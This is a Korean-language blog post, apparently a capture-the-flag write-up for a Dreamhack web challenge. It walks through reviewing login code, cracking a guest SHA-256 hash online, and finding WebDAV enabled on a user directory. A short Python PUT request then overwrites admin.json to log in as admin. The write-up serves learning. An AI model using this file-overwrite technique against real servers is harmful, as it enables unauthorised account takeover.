Study/Web Hacking

[DreamHeck] Really Not SQL

얀 짱 2026. 7. 21. 21:42
 

먼저 login.php에서 이렇게 코드를 분석함.

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $userDir = __DIR__ . '/user/';
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';

    $filename = $username . '.json';        # admin.json, guest.json
    $filepath = $userDir . $filename;       # /user/admin.json 이런 식의 경로 

    if ($username !== "admin" && $username !== "guest") {
        $error = "User not found";
    } else {
        $userData = json_decode(file_get_contents($filepath), true);        # JSON 형식의 문자열을 PHP 배열이나 객체로 변환하는 함수
        if ($userData['id'] !== $username){
            $error = "Error occured";
        } else if ($userData['password'] !== hash("sha256", $password)) {           # sha256 해시값 
            $error = "Invalid password";
        } else {
            $_SESSION['user'] = $username;
            $success = true;
        }
    }
    
}
?>
 

그리고나서 guest.json을 보고

{"no": 1, "id": "guest", "password": "84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec"}        // 비번 guest
 

여기서 password가 hash256 이므로 https://crackstation.net/이 사이트에서 크래커를 해봄.
그랬더니 비번이 guest가 나옴.
admin도 같은 방법으로 해봤는데 안됐음.. 그래서 000-default.conf이 파일을 봄.

<VirtualHost *:80>
  ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

   <Directory /var/www/html/>
     AllowOverride None
     Require all granted
   </Directory>

  <Directory /var/www/html/user/>
      DAV On    #  특정 디렉터리나 위치에서 WebDAV 기능을 활성화하여 원격으로 파일을 관리하고 편집할 수 있도록 허용 -> 수정 가능..??
      Options Indexes
      AllowOverride All
      Require all granted
  </Directory>
</VirtualHost>

 

DAV On이 부분이 취약점이었음.

그래서 새로 파일을 하나 만들었음. password는 admin을 해시값으로 변경해서 넣었음.

import requests

url = "http://host3.dreamhack.games:12936/user/admin.json"
data = {"no": 0, "id": "admin", "password": "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918"}

res = requests.put(url, json=data)
 

그렇게 했더니 admin/admin으로 다 잘 로그인이 됨.
그다음에 flag.php 파일을 확인하여 flag 값이 어디에 배치되어 있는지 확인함.
http://host3.dreamhack.games:12936/flag.php 이 경로로 플래그를 찾음.